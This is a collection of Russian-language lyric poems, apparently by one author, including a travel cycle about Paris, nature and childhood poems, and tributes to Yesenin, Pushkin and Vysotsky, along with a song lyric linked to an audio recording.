Ты явилась спозаранку
Наяву, на самом деле,
Головой своей беспечной
Прямо к небу воспарила…
Ну, не будь же бессердечной, -
Ты же город заслонила!

Шире, шире панорама…
К небу голуби вспорхнули.
Вижу стены Нотр-Дама,
Наверху сидят горгули:
Клювы свесили и дремлют –
Ночкой темною летали
Да рассматривали землю.
Возвратившись, задремали…

Грянул колокол старинный –
Бом! И ожили все сразу:
Пешеходы и машины
Встрепенулись, "дали газу" -
Вид такой, что вдоль реки
Соревнуются жуки.

Часть 2.
ЧТО РАССКАЗАЛ МНЕ ПАРИЖ

Весь Париж уже проснулся,
Потянулся рук ветвями,
Всем фасадом улыбнулся,
Бойко хлопает дверями:
«Проходите, не толкайтесь,
Удивляйтесь, восхищайтесь…
Вот, пожалуйста, на «блюдце
С золоченым ободочком», -
Только, чур, не поперхнуться, -
Монпарнас, - еще не точка, -
Люксембургский сад, Сорбонна,
Тюильри, Булонь, Тати,
Леонардова мадонна, -
К ней вам надо подойти…
Где она? Конечно в Лувре.
Есть еще Самритэн…
Ах, туда вы не хотите?
Денег мало, говорите?
Как угодно. Без проблем!

На Монмартре не бывали?
Не видали до сих пор?
Базилика там. И дале,
Если даже вы устали,
Километры намотали -
Довезёт фуникулёр.

В общем, выйдя на бугор,
Посетите Сакре-Кер!"

Часть 3.
НА МОНМАРТРЕ

На Монмартре, как обычно,
Суета, ажиотаж –
Парижанам всем привычный
И обыденный пейзаж.
Здесь художники, поэты,
Дамы курят сигареты,
Старики и детвора,
Весь бомонд. Эцетера…
В общем, их Монмартр, ребята,
Вроде нашего Арбата.

Часть 4.
АХ, ЭТОТ ШАНСОН!

К сердцу славного Парижа
Я по лестнице спускаюсь,
Продвигаясь ниже, ниже,
Напевая, улыбаюсь
Песню Шарля Азнавура.
Он, вы знаете, фигура!
И вообще он - супер-стар
И пока не слишком стар.
Ну и как не вспомнить, -ах! –
Про нее – Эдит Пиаф!

Часть 5.
«О, ШАНЗЕ ЛИЗЕ…»

А к полудню стало жарко,
Ну и что? Ведь не февраль!
Триумфальнейшая арка
Здесь поглядывает вдаль.
Под ее подножьем площадь
И с названьем – Этуаль,
Где растет платанов роща
Недалече. Все как встарь.
И зовется та земля –
Елисейские поля.
Это улица такая,
Откровенно говоря.

Часть 6.
ПУТЬ К МУЛЕН-РУЖ

Помечтавши у фонтана
И приняв из капель «душ»,
От творенья Монферана
Отправляюсь к Мулен-Руж, –
Это кабаре-шантан,
Или проще – ресторан.
Там кутили в прошлый век
Ренуар, Дэга, Лотрек…
Где, - о том не говорю, -
Танцевала Ля Гулю.

Продвигаясь к ресторану,
Замечаю и дивлюсь,
Неприличную рекламу
И описывать боюсь,
Да к тому же из дверей
Сутенёры всех мастей
Всех на улице прохожих
Приглашают для «затей»...
Все же это Авеню
Я не очень-то виню,
Ведь парижская богема -
То особенная тема.

В небе алых два крыла –
Это мельница видна,
Вся как будто на парад!
И туристов целый ряд
Старой Франции гостей
Всех народов и мастей,

А французы как французы:
Все они – любимцы музы,
Все чернявы и смуглы,
В поведении милы.
А о дамах, - не шучу, -
Осторожно промолчу.

Часть 7.
СЕНА

Вот устала, так устала…
Многолюдье у причала,
Где стоит трамвай речной.
Я, купив билет сначала,
За три евро, что ни мало,
Чтобы дать ногам покой
Отправляюсь за толпой.

Мы плывем вдоль парапета
Мимо острова Ситэ…
От России за полсвета.
Ах, как нереально это –
Сена, я, Париж и лето…
Ну, не жизнь, а варьете.

Часть 8.
ВЕЧЕРНИЙ ПАРИЖ

Вся мигает и сверкает
Огоньками Тур Эйфель,
Посвежело, холодает.
Скоро ночь. Пора в отель.
А кругом веселый гам,
Песнь шарманки, смех мадам,
В этот шум, конечно, влился
Колокол на Нотр-Дам
И, насколько глаз хватает,
Все галдит и все сияет,
Словно бы с небес свалился
Тот вселенский тарарам!

- Эта ночь – для молодых,
Для богатых и «крутых»:
В общем, все для них, французов,
А не нас, для остальных… -
Почему-то так подумав, -
Может, возраст виноват? -
Потихонечку, без шума,
Направляюсь я назад:
Ведь достаточно хитро
Мне узнать, где здесь метро.

Часть 9.
ПРОЩАЙ, ПАРИЖ

Не сравнить метро в Париже,
И правдивы те слова,
С тем метро, что к нам поближе –
В лучшем городе - Москва!
………………………………
Завтра сяду я в автобус,
Встретив утреннюю тишь.
Унесет зеленый глобус,
И назад не возвратишь
Драгоценные приметы -
Те улыбки и приветы
И прелюдию рассвета
От которых угоришь.
Навсегда запомню это
Все, что Францией согрето –
Море солнечного света,
Лето, Сена и Париж!


Разговор с Луной

Я припадаю на ступени
пред Вами, Светлая Луна,
и в эту фазу откровений,
когда, простите, Вы полна,
склоняю хрупкие колени.

Хотя Вы, в общем, не умна,
нет в Вас любви и сожаления,
кругла и даже холодна,
но Вы, без всякого сомнения,
не умаляете свечения,
Наисветлейшая Луна!

Вас не испортит седина
и жизнь не преподаст урока,
Вам вечность целую без срока
сиять без страха и упрёка,
но Вы повёрнуты, Луна,
признайтесь, к людям однобоко,

и в этой первозданной тьме,
в которой Вы царите властно,
что затаили, мне неясно,
на той, обратной, стороне?

Не там ли проживают те,
с кем мы не встретились при жизни
в той скорбной стороне - Отчизне,
где не война, так катаклизмы
и жизнь людская не в цене?

На тайной стороне Луны
возможно все живут прекрасно,
там нет войны, и не опасно,
и даже диск Земли всечасно
не виден им со стороны!

...............................
Луны серебряным сиянием
моя душа полным полна...
А впрочем, не моя вина,
что как от крепкого вина
я холодом твоим пьяна.

Зачем, Светлейшая Луна,
Я приходила на свиданье?


Мастер и Маргарита

Я назначаю Вам свиданье
За той последнею чертой,
Где нет ни слёз, ни воздыханья,
На тихой станции Покой.

И там я Вас увижу снова
Без тени горя на лице,
Почти такого же земного,
Но только в золотом венце.

Продолжим там свою беседу
Под райских пташек бодрый свист.
Мы никогда не канем в Лету,
Божественный мой атеист...


Я просигналю Вам рукой
На самой кромке мирозданья -
Я назначаю Вам свиданье
На тихой станции Покой.


На кургане

Какие долгие деньки
Того проказливого лета,
Что затерялись в прошлом где-то
На том кургане у реки.
Там, говорят, татарский хан
Зарыл и серебро и злато.
Есть клад, найдется и лопата,
И Валька - местный атаман.
И наши юные тела
Все были липкими от пота,
Ведь та земельная работа
Была мальчишкам тяжела.

Небесно-синий окоем
Взирал бездонно и беспечно
И обещал: так будет вечно,
И никогда мы не умрем!
Не посчастливилось тогда
Нам выкопать земные клады.
И никакой другой награды
За все грядущие года.
Теперь уж вовсе не с руки
Искать тот клад, но до рассвета
Мне почему-то снилось лето
На том кургане у реки.


Давай с тобой научимся летать

Давай с тобой научимся летать:
Когда мы рядом, вырастают крылья,
Не ощущается ни грусти, ни бессилья,
Есть только неба синь и благодать.

Давай с тобой научимся летать,
И, взявшись за руки как на холстах Шагала,
Пусть никогда такого не бывало,
Мы полетим, как мы могли мечтать!

Давай с тобою будем говорить
Всегда стихами… только лишь стихами,
Мы сможем солнце в небесах руками
Удерживать за тоненькую нить

И радостно скользить по облакам,
Встречая и закаты, и рассветы,
И навсегда для нас наступит лето,
Приближенное чуточку к Богам.

Давай с тобой научимся летать.


Ливень

Разом позабылась
Летняя жара,
Туча накатилась,
Льёт как из ведра.

Вся земля умылась -
Господи, спаси!-
Знать не изменилось
Ничего в Руси:
Вязкая дорога
Хлипкая, как встарь,
На душе тревога -
Русская печаль.


Кубанские казаки

В искусственной придуманной стране
Мы все живем, притихшие во мраке:
На полотняной, белой простыне
Кино идет «Кубанские казаки».

Как на экране все перемешало!
Мы удивляемся,
Но смотрим вновь и вновь:
Арбузы, балалайки, песни, сало…
Все то, чего нам в жизни не хватало.
Ну и конечно главное – любовь!

От безысходности, от бедности, от лжи,
Замученные разными грехами,
Мы сотворяем наши миражи,
Спасаясь книгой, песнями, стихами.

И уносясь мечтами в мир иной,
Мы вновь сидим, застывшие во мраке,
Эй, тише! Не шепчитесь за спиной.
Кино идет «Кубанские казаки»!


Айда купаться!

- Эй, ребятня! Айда купаться!
С утра на улице жара!
Но только, чур, не признаваться,
Что уходили со двора.
На нашей узенькой речушке,
У деревянного плота,
Вода скрывает до макушки:
Нырнёшь – такая красота!-
И поплывёшь… Ну, так, как можешь:
На животе и на спине…
И накупаешься до дрожи,
До синевы в речной волне.
И не кричите! Не зовите
На берег! Я еще чуть-чуть…
Плыву! Вы только посмотрите
Как я могу! А мне по грудь...

Моя весёлая речонка
Волной играет на бегу.
.............................
Ну почему я не девчонка?
И отчего на берегу?


Летучие мыши

А тени суетятся
и дрожат,
подвижные такие,
будто мыши.
Прижились здесь
и вовсе не спешат
покинуть дом.
Устроились повыше
на шторе шелковой
и, мордочками вниз,
трепещут крыльями
и шевелят ушами,
и вот уж шепоток
пошел меж нами,
что, мол, живу, -
такой уж мой каприз, -
на их жилплощади,
и на полу ногами.

Что нет в квартире
даже и ковра
и мебели нет мягкой
и приличной,
что головою вверх
– несимпатично
(а женщинам
так даже неприлично)
внизу ходить…
Такая вот мура!

Им говорю,
мол, так предпочитаю
ходить
всегда
везде
– наоборот.
А покупать ковер
я не желаю,
поскольку пыль
и моль,
и мыши…
Вот!

Я вертикально
по земле хожу
ногами вниз
и головою в небо.
Как хорошо,
что я не похожу
на тех мышей…

Эй, вы!
Хотите хлеба?


Встречай

1.Еду. Встречай, и мне обещай,
Что будут цвести сады
И снова вернется бродяжка-май
С ведром дождевой воды,
Разом наполнятся створки окна
Шумом весенней грозы:
Рыхлую землю напоит она
Влагою чистой слезы.

2.После придут времена-холода,
Осень и зимняя ночь,
Так в нашей жизни бывает всегда,
Ты не гони их прочь:
Дров наберем, разожжем огонь
Вместе - одна семья…
Угли как звезды, смотри, не тронь -
Жаркие, как и я.

3.Еду. Встречай, и мне обещай,
Что снова придет весна,
Вернется цветущий и звонкий май,
И под луной волна.
Ветер, ворвавшийся в створки окна
Душу опять просквозит,
И зазвенит под рукою струна -
Юностью нас одарит.


Ты посмотри какие лужи

Ты посмотри, какие лужи!
В них отразились облака,
Поверится – прошли века
И годы от вчерашней стужи.

Смотри скорее: в глубине
Капризной и невероятной,
Играют льдинками в вине
Искристые шальные пятна.

Прозрачность талая воды
Мое ласкает отраженье,
И юркое воображенье
Растит весенние плоды:

Внизу, в таинственной дали
За облаками зреет лето,
Несмелые его приметы
Прекрасны, что ни говори,

Замрет от счастия душа,
И явится стихотворенье,
И вечность в краткое мгновенье
Вонзится лезвием ножа.


На пороге осени

1.
На пороге осени встретились случайно,
Закружила листьями желтая метель.
Нас с тобой упрятала радостная тайна
И по жизни понесла чудо-карусель.

припев:
Грёзы
унесли осенние морозы,
Опустел и опостылел сад,
Розы
отцвели, остались только росы,
Росы – эти слезы на щеках.

2.
Расцвело узорами темное окошко,
Белым снегом занесло в парке карусель,
Звездами засыпало узкую дорожку
И пургою занесло, не откроешь дверь.

припев:
Поздно…
Повстречались мы с тобою поздно…
Ничего теперь не изменить.
Проседь…
На виски твои ложится проседь –
Осени серебряная нить.

3.
Засыпает волосы белая пороша,
Сыплется на головы бестолковый снег,
Что же ты не встретился раньше, мой хороший,
Ну, хотя б на чуточку, хоть на пару лет.

припев:
Память…
Нас соединила с тобой память,
Подружила белая метель,
Пламя…
В нас еще горит покуда пламя
Пусть несется жизни карусель.

(Прослушать песню в исполнении Камянчук Ирины:
http://neteratura.ru/audio/9114625EA5059B333C0196CC39E37719.mp3


Маргарита

Пред большими зеркалами, -
Я ли это? Бог ты мой!-
Воспарила над дверями,
Пронеслась по-над дворами,
Полетела над домами
И людскою кутерьмой!

А вокруг клубятся тучи,
Подо мною - глубина,
Да еще, такой могучий
Ветер липкий и тягучий,
Хлесткий, плотный и колючий.
Я на небе да луна!

Кто обидел, всех прощаю!
Эй, вы слышите внизу?
Я здесь звезды начищаю,
Млечный путь в клубок мотаю,
В небе дырочки латаю,
Чтобы дождь не лил слезу.

А внизу бушуют войны,
Бедствует моя страна...
Мне уже почти не больно,
Мне уже всего довольно.
Я лечу легко и вольно...
Я на небе да луна!


По кругу

А суета да маята,
Была и будет:
Сквозит тщета и пустота
Из рифм и судеб,
Любви ответной нежный бред
Нам только снится,
И кратковременности след
Лежит на лицах,
И одиночества тоска
В глазах и в душах,
И счастье тоньше волоска
Внутри... Снаружи...

За неумение парить
Над облаками,
За нежеланье говорить
Не кулаками;
За счастья призрачной звездой,
Чужды друг другу,
Мы бесконечной чередой
Бредем по кругу.


Полынь

От холода поблекла синева,
Промозглая докучливая стынь,
И отчего-то, взгляд куда ни кинь,
Стоит туманом серая трава.

Напрасно растрезвонила молва –
Что символ наш кудрявая береза,
Та, что весною проливает слезы…
А я не верю. Это все – слова.

Нет, не береза, а трава полынь
Быть символом страны имеет право.
Такая горькая. Ну, прямо, как отрава
И с сединой, что отливает в синь.

Дурман полынный голову вскружил
Тем, кто ушел, и нам, живущим ныне.
Лишь тот, должно быть, счастлив, кто не жил
В моей стране – на родине полыни…


Детство светится в ночи

Детство светится в ночи -
Загляну к нему в окошко:
У камина, у печи
Я погреюсь на дорожку,
Отправляясь навсегда
В голубую бесконечность,
Где не властвуют года,
А вокруг лишь Бог да вечность.
Там царит другой закон
И совсем иные мысли
Будто в храме средь икон
В отражении главных истин.

А покуда посижу,
В светлой комнате у печки,
Вот и мама, я гляжу,
Солнцем всходит на крылечко!
Заходи же! Стынет чай,
Потолкуем, как бывало.
Ты уж, мама, не серчай…
Наливай из самовара!

Как ты в небе без меня?
Светят там, как раньше, звёзды?
Я живу, тебя храня
В сердце.
Остальное – поздно…


Кувшинки дремлют на волне

Кувшинки дремлют на волне
Проплыл старик на лодке утлой,
Овладевает миром утро
И россыпью из перламутра
Мерцают рыбки в глубине

Чуть слышен звон колоколов...
Иль это шепчется осока?
И тёплый ветер издалёка
Приносит аромат цветов,

Над миром зреет благодать,
Алеет ягодой калина,
И крик прощальный журавлиный
И не постичь, и не понять.

Сорву-ка я рябины кисть,
Чтоб соком горьким причаститься,
Уехать, чтобы возратиться
И всё забыть, и всё простить


В тихий час, когда покоя хочется

В тихий час, когда покоя хочется
И ночная улица молчит
По дорогам бродит одиночество,
Каблучками тонкими стучит.

Вся она в порыве и в движении,
Женщина, случайная вдова.
Не нужны ей наши утешения,
Стёртые, ненужные слова.

Сумерки – советники стоустые
Обступили опустевший дом.
Носит не расплёсканные чувства
Женщина в сосуде золотом!


Осенние листья

Чиста, как очи херувима
погода в пору листопада,
горит в ночи неутомимо
неугасимая лампада -
она одна неуязвима, -
луна - царица небосвода,
и спит земля судьбой хранима,
и спит природа…

Светлы, как помыслы ребенка
дни умирающего лета,
и луч луны пронзает тонко
сердца людей, и нет ответа,
зачем природы увядание
является законом жизни? -
кружимся желтыми листами,
в осенней тризне?..

Мы, уносимые ветрами,
в осенней общей позолоте,
волнуемся: ведь перед нами
весь мир земной и все дороги,
и о зиме совсем не мысля
в стремительном шальном полете,
мы все равны, как эти листья.
и одиноки…

Чиста, как очи херувима
природа в пору увяданья,
и светел мир необъяснимо,
когда приходит состраданье.
но перед белыми снегами,
когда уже настигнут сроки
мы ляжем желтыми листами,
скользя под ноги.


Свеча

Томление сгорающей свечи
На кухонном столе у телефона,
Где тень подобна луку Купидона
При всполохах трепещущей ночи.

Полночная благая тишина
И ощущенье замкнутого круга,
И мотылек, дрожащий от испуга,
Но все же не летящий от огня.

Стремительно легки его усилья,
И верно мотылек тому виной,
Что я свои обугленные крылья
Тихонько расправляю за спиной.


Про муху

Вновь в телефон: «Алло!.. Алло!.. Алло!..»
В ответ: «Привет», что, в общем-то, любезно…
Так муха о холодное стекло
Все бьется тупо… глупо… бесполезно!
А дни летят, спешащие в года:
- Алло! - Привет! И утром три привета…
И было так. И будет так всегда:
Есть стимул для мушиного балета,
Чтоб в воздухе проделав пируэт,
Башкой в стекло! Ну, как тебе? Не больно?
Такой вот утомительный сюжет.
Давно уже пора сказать: Довольно!
Чтоб, завершая в воздухе разгон,
Застыв перед стеклом, остановиться.
Но есть у мух особенный закон:
Как раньше бились – так и будут биться
О твердое прозрачное стекло,
Где пребывает солнечное лето:
Там запах трав и там всегда тепло.
А тут зима…
И песенка пропета!


Коралловые бусы

Сестре Гале посв.

Помнишь, как все это было?
Мне некогда не забыть;
Ты мне тогда подарила
Бусин коралловых нить.

Тихо при этом сказала,
Бусы держа наотлёт:
- Алая нитка коралла
К черному платью идет...

Лето листвой отшумело,
К осени жди холода...
Бусы на платьице белом
Мне не носить никогда.

К бусам кроваво - блестящим
Губы так скорбно прильнут.
Дети живут настоящим,
Взрослые - прошлым живут.

Было... Все было, да сплыло.
Что впереди - не боюсь.
Осенью ты подарила
Нитку коралловых бус.


В храме Вашей души

Уважаемый друг, эти строки я Вам посвящаю,
Вы прочтёте их верно назавтра в вечерней тиши,

Это будет для Вас словно сладкая булочка к чаю
Или, лучше, лекарство для Вашей болящей Души,

Что похожа на храм. В этом храме полны коридоры
Самых лучших картин, захожу - вот и первая дверь:

Вот романтик Кипренский, вот Рериха дивные горы,
Вот и Карл Брюллов - на стене есть его акварель...

В храме Вашей Души слЫшны мощные звуки органа,
Здесь царит красота, классицизм, девятнадцатый век,

Благородство... Да нет же, я Вам не курю фимиама,
Только всё это так. Вы, похоже, такой человек!

Вы как будто сошли со страницы из чеховской книги,
Но вот только при этом я вот что поведать хочу:

Вам опасны и чужды коварные власти интриги,
Наше трудное время Вам тяжко и не по плечу,

Укрепите себя и поглубже, поглубже дышите, -
Вы ведь в сущности мальчик еще из того далека,-

Не грустите, не хмурьтесь и долго-предолго живите.
Да хранит Вас Господь! Не курите. До встречи. Пока!


Встреча с железной бабой

Большая баба с ведрами пустыми
Мне повстречалась нынче поутру
И, как песок безжалостный в пустыне,
Вдохнула в душу жёлтую хандру:
Большие оцинкованные ведра
Гремели, как трагический набат.
И гордые покачивались бедра
Набату оцинкованному в лад.

Она шагала, полная отваги,
Как будто прямо с площади - на фронт,
А впереди застиранные флаги
Привычно подпирали горизонт.

За пазухой виднелся сноп пшеницы,
За поясом - отбойный молоток,
Монументальный шаг стальной девицы
Направлен был куда-то на восток.

От поступи ее большие реки
Меняли русло, направляясь вспять…

О, поднимите этой бабе веки,
Чтобы могла народ свой увидать.


Тени

Нынче тени на стене
Все кружили да метались,
Фонари в окошках мчались
В полуночной глубине.

Огонек горит в дому -
Керосиновая лампа -
Незатейливая рампа,
Погруженная во тьму.

В этой комнате давно
Порассохлись половицы,
С крана капает водица…
Да и ладно, всё равно

Оставайся, так и быть.
Не удерживай напрасно,
Я уеду - это ясно,
Твой черед меня простить.

Под окошками в углу
Этой ночью грызлись мыши,
Что-то брякало на крыше,
Скрежетало на полу…

На стене, как на холсте,
Тени черные кружили,
За окошком годы плыли,
Исчезая в пустоте.


Серебряный век

Белый дым сигаретных речей
Над овальным столом расстилался,
И над чем-то гортанно смеялся,
Женский лик среди ярких свечей.

Фраки, кольца, роскошный плюмаж
В суете гостевых пересудов:
«Ах, да что вы, дружище Нехлюдов?!
Я спешу. Меня ждет экипаж…»

Над Россией серебряный век,
Разливался туманами Блока,
В эти дни умирала эпоха,
И рождался иной человек.

Неожиданный пушечный залп
Оборвал все наивные грезы,
«Ах, мадам, эти алые розы
Я не смог подарить…
Опоздал…»


Другой, совсем иной из окон свет

...другой, совсем иной из окон свет,
где ситцевые были занавески,
и чей-то незнакомый силуэт,
и разговор в тиши довольно резкий -

всё не моё!.. теперь здесь мир чужой:
чужие люди и иные мысли.
не притянуть ни нитью, ни вожжой
минувшее, и просто нету смысла

стучать в стекло... полынью поросли
все пыльные и торные дороги.
а так хотелось, чтоб они спасли,
чтобы как раньше: сразу - да под ноги!

другой… совсем иной из окон свет...


Пасутся розовые кони

Пасутся розовые кони,
Покосный оживляя луг,
Полей широкое раздолье
И ветлы старые вокруг,
Росою затканные травы,
На большаке следы подков
И перелески, и дубравы,
И запах мёда, и цветов.

А за рекою в дымке синей
Сияющие купола:
Звонят колокола России,
Святой Руси колокола,
Их звон малиновый плывёт
Вниз по реке благословеньем,
Чудесным кажется виденьем
Хрустальный храм над гладью вод.

И хочется с земным поклоном,
В старинный храм найдя пути,
Свечу поставить пред иконой
И мир душевный обрести.
Там благодать и всепрощенье,
Там слышен ангелов полёт,
И хор поёт, и всё поёт
И обретает утешенье!


Владимиру Высоцкому

Несутся
бешеные кони
как наважденье
и расплата:
и не спастись
ни от погони,
ни от последнего
заката.

Под звон,
под цокот
и смятенье
и ныне,
присно,
и вовеки
спешат
и годы,
и мгновенья,
уходят
люди-человеки,
срываясь,
будто бы с обрыва,
в урочный час
без опозданья,
и нет конца,
и нет разрыва
в законе вечном
мирозданья...

Мелькают кони,
жизнь несётся,
врываясь в звёзды
как комета,
и только СЛОВО
остаётся
в высоком
творчестве
ПОЭТА!


Звёздный сад

Спокойна ночь. Вхожу я в звёздный сад,
он предо мной торжественно развесил,
созревшие милльоны лет назад,
как гроздья виноградные, созвездия.

Я к ним тянусь, но руки коротки, -
не укротить великую преграду, -
толь от Вселенной, то ли от реки
течет к лицу упругая прохлада,

Цветет земля, листвою шелестя,
чаруя ароматами сирени...

Дорожкой от земного бытия
ложатся к звёздам лунные ступени.


Отвези меня в деревню

Отвези меня в деревню,
Где горланят петухи,
Где кудрявые деревья
Хороводят вдоль реки,
Где на поле, как на блюдце,
Разливается туман...
Мне в деревню бы вернуться -
Посетить, как Божий храм.

В одуванчиковом рае,
Голубые небеса,
По ночам собака лает,
Не ленясь, по три часа
Топотят домой коровы,
Колокольцами звеня,
Там все живы и здоровы
И деревня, и родня.

Я в бревенчатой избушке
Расстелю половики,
Напеку блины-ватрушки,
Погляжу из-под руки,
Как восходит над дорогой
Вековечная звезда…
Увези же, ради бога
Ненадолго навсегда!


Из детства

Ты опять в снегу явилась!
Не девчонка - снежный ком!
Обметайся, сделай милость,
Да на печку кувырком.

А на печке, как на троне.
Там с уютной вышины
Подо мной, как на ладони,
Все события видны.

На углях пекут картошку.
Уж готовая, кажись!
- Подставляй свою ладошку
Да смотри, не обожгись...

Не могу найти ответа,
Почему и отчего
Слаще той картошки нету,
Что из детства моего?

Да не взять ее рукою,
Возраст мой тому вина…

Счастье - что это такое?
Детство, печка и зима!


Сергею Есенину

Брёл из петроградского трактира,
Молод, полупьян, полуодет
На свою последнюю квартиру
Хулиган, бродяга и поэт.

В этот вечер кончились чернила,
Ссохлись и пространство, и душа...
Ничего не дорого, не мило,
Да и жизнь не больно хороша.

Кровью стих написан - не иначе,
Свисли кудри цвета ковыля...
-Для того ли был ты предназначен,
Чтобы так - верёвка и петля?

Поутру в гостинице тревога,
Суета и бестолковый ор:
Но уже летел, летел Серёга
В звёздный упоительный простор.  

"До свиданья, друг мой, до свиданья
Не печалься и не хмурь бровей..."
Проводили агнца на закланье,
Одного из русских сыновей.


В Михайловском

Свеча горела, он писал
И на полях рукой небрежной
Чертил знакомый профиль нежный
И чью-то ножку рисовал.
О, вдохновенье! О, полёт!
Душа парит, и вдруг случайно
Соприкоснётся с звёздной тайной,
И лира дивно воспоёт!

- Я помню чудное мгновенье… -
Самозабвенно пишет он,
Охвачен радостным волненьем,
В воспоминанья погружен,
И рифмой чтобы пересилить
Изгнанья черную черту,
Вместить любовь и красоту,
И шелест трав, и воздух синий,
И две берёзки на горе,
И предсказание кукушки,
И чёрный локон на подушке,
И поцелуи на заре...

А предрассветная пора
Встаёт беспечна и туманна.

Взлёт лебединого пера
И он напишет имя – Анна!


Не проси

Никогда ни о чём не проси,
Разве только прощенья у Бога,
Если выпало жить на Руси,
То нелёгкою будет дорога:

Всё в тумане: не видно ни зги
За ближайшим во тьме  поворотом,
То ль друзья, то ли это враги,
Что завидуют нашим широтам,

Нашим  звонким лесам и полям,
И зарею пылающим далям,
Бесконечным  седым ковылям
И отцовским геройским медалям?

Жизнь не сахар, не мёд на Руси –
Кровью, потом  полита дорога. ..

Никого ни о чём не проси,
Разве только прощенья у Бога!